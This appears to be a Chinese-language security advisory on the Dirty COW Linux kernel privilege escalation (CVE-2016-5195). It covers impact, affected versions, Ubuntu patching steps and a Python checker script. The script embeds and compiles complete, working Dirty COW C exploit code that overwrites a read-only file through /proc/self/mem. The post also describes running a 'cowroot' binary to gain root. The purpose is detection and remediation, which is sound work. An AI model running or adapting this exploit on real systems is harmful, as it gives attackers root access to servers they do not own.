漏洞编号

CVE-2016-5195

漏洞名称

脏牛(Dirty COW)

风险等级

漏洞危害

黑客可以通过远程入侵获取低权限用户shell后,然后利用该漏洞在全版本Linux系统上实现本地提权,从而获取服务器root权限。

漏洞利用条件

黑客可以通过远程入侵获取低权限用户shell后, 才能进一步利用该漏洞。

漏洞影响范围

根据Linux内核官方评估自2007年来发行的 >=2.6.22的内核版本全部受影响。

漏洞验证

我们先通过一个低权限用户meicai登录,通过rz上传一个cowroot二进制漏洞利用程序;
给cowroot执行权限后执行,发现自动提升到root权限。
dirtycow
请不要在生产环境通过漏洞利用程序测试此漏洞,可能造成系统卡死。为防止系统卡死可执行echo 0 > /proc/sys/vm/dirty_writeback_centisecs ,关闭pdflush刷新。

漏洞验证poc

为防止漏洞利用程序造成的危害,我特意编写了一个可以验证漏洞是否存在的python脚本,执行过后可检测系统是否存在漏洞。请执行3次左右,防止漏报情况。

存在漏洞:

dirtycow

不存在漏洞:

dirtycow

漏洞修复

Ubuntu 内核升级:

1、查看是否有最新更新包: dpkg -l | grep linux

2、更新列表:apt-get update 或apt update

3、升级:

Ubuntu12.04版本:apt-get install linux-generic

Ubuntu14.04版本:apt-get upgrade或apt upgrade

4、reboot重启服务器

注意:机器上在做了上述升级后还会存在漏洞未修复!

dirtycow

系统提示我们正在使用的版本安全更新只到2016-08-04这一天,所以官方给出两种解决办法:

  1. 升级Ubuntu 14.04 LTS 到 Ubuntu 16.04 LTS:
    sudo do-release-upgrade
    或者
  2. 切换到当前受社区安全支持的内核小版本升级:
    sudo apt-get install linux-image-generic-lts-xenial linux-generic-lts-xenial
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python
#coding=utf-8
#-------------------------------------------------------------------------------
# Name: Linux内核通用提权漏洞检测脚本(Dirty COW)
# vuln: CVE-2016-5195: https://access.redhat.com/security/cve/CVE-2016-5195
# Author: pirogue
# Created: 2017-9-11 11:22:08
# Site: http://pirogue.org
#-------------------------------------------------------------------------------

import subprocess
from subprocess import Popen, PIPE
import os

# 漏洞利用验证代码
poc_code = """

/*
* main.c
*
* Created on: Oct 21, 2016
* Author: 5t4rk
*/
#include<stdio.h>
#include<sys/mman.h>
#include<fcntl.h>
#include<pthread.h>
#include<string.h>

void *map;
int f;
struct stat st;
char* name;

void * madviseThread(void *arg)
{
char *str;
str = (char *) arg;
int i, c = 0;
for (i = 0; i < 100000000; i++)
{
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\\n", c);
}

void * procselfmemThread(void *arg)
{
char *str;
str = (char *) arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for (i = 0; i < 100000000; i++)
{
lseek(f, map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\\n", c);
}

int main(int argc, char *argv[])
{
if (argc < 3)
return 1;
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap %x\\n", map);
pthread_create(&pth1, NULL, madviseThread, argv[1]);
pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
"""

# 临时文件内容

test_content = "noo"

# 本地写入文件方法
def write_poc(code, file):
with open(file, 'w') as f:
f.write(code)

# 编译poc
def mc_gcc(file):
pobj = Popen('gcc '+file+" -lpthread -o mc_poc", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
result = pobj.communicate()
return result

# 执行poc
def mc_binx(file):
pobj = Popen('./'+file+" mc_tmp yes|ps -ef|grep '[m]c_poc mc_tmp'|awk '{print $2}'|xargs kill -9", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
result = pobj.communicate()
return result

# 判断是否存在漏洞
def mc_vuln(file):
pobj = Popen('cat '+file, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
result = pobj.communicate()
return result[0]


if __name__ == "__main__":
write_poc(poc_code, 'mc_poc.c')
write_poc(test_content, 'mc_tmp')
mc_gcc('mc_poc.c')
mc_binx('mc_poc')
# print type(mc_vuln('mc_tmp'))
if mc_vuln('mc_tmp') == 'yes':
print 'The os is vulnerability!Please upgrade the kernel.'
elif mc_vuln('mc_tmp') == 'noo':
print 'You are Lucky dog~ No vuln.'

在测试过程中发现poc在执行时会导致机器cpu飙升,于是在代码的逻辑里将poc二进制文件执行过后,马上通过Linux执行杀掉它的进程,防止影响机器上的业务。
所以可能会导致明明存在漏洞,而二进制程序没有执行完就被kill掉了,进而没有检测出漏洞。多执行几次python dirtycow.py,只要出现一次提示存在漏洞,那就是存在漏洞了。
蛤~